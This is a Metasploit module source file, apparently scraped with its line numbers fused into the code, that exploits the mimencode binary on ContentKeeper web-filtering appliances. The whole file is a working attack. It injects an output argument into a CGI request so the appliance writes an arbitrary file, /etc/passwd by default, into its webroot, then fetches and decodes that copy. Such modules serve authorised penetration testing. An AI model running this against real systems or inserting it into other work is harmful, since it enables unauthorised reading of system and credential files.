Path: blob/master/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb
32581 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'ContentKeeper Web Appliance mimencode File Access',12'Description' => %q{13This module abuses the 'mimencode' binary present within14ContentKeeper Web filtering appliances to retrieve arbitrary15files outside of the webroot.16},17'References' => [18[ 'CVE', '2009-10005' ],19[ 'OSVDB', '54551' ],20[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],21],22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [IOC_IN_LOGS],27'Reliability' => []28}29)3031register_options(32[33OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),34OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),35]36)37end3839def run_host(_ip)40tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.4142print_status("Attempting to connect to #{rhost}:#{rport}")43res = send_request_raw(44{45'method' => 'POST',46'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']47}, 2548)4950if res && res.code == 50051print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")5253file = send_request_raw(54{55'method' => 'GET',56'uri' => '/' + tmpfile57}, 2558)5960if file && (file.code == 200)61print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")62elsif file && file.code63print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")64end65elsif res && res.code66print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")67end68rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e69vprint_error(e.message)70rescue ::Timeout::Error, ::Errno::EPIPE => e71vprint_error(e.message)72end73end747576